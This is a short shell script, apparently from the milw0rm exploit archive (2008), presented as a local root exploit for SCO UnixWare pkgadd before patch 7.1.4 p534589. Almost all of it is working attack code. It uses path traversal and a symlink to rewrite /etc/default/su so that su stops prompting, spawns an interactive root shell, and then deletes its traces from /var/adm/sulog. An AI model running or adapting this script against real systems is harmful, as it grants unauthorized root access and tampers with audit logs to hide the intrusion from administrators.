SCO UnixWare < 7.1.4 p534589 (pkgadd) Local Root Exploit

#!/bin/ksh # # 04/2008: public release # SCO UnixWare &#60; 7.1.4 p534589 # if [ `id -un` = &#39;root&#39; ]; then grep -v &#34; $1-root\$&#34; /var/adm/sulog &#62;su.log cp su.def /etc/default/su cp su.log /var/adm/sulog rm -f su.def su.log woot.log else echo &#34;------------------------------------&#34; echo &#34; UnixWare pkgadd Local Root Exploit&#34; echo &#34; By qaaz&#34; echo &#34;------------------------------------&#34; EVIL=`echo &#39;XX\nPROMPT=No\nXX&#39;` cp /etc/default/su su.def ln -s /etc/default/su woot.log PKGINST=../../../..`pwd`/woot /usr/sbin/pkgadd &#34;$EVIL&#34; 1&#62;/dev/null 2&#62;&1 su root -c &#34;$0 `id -un`; /bin/sh -i&#34; fi # milw0rm.com [2008-04-04]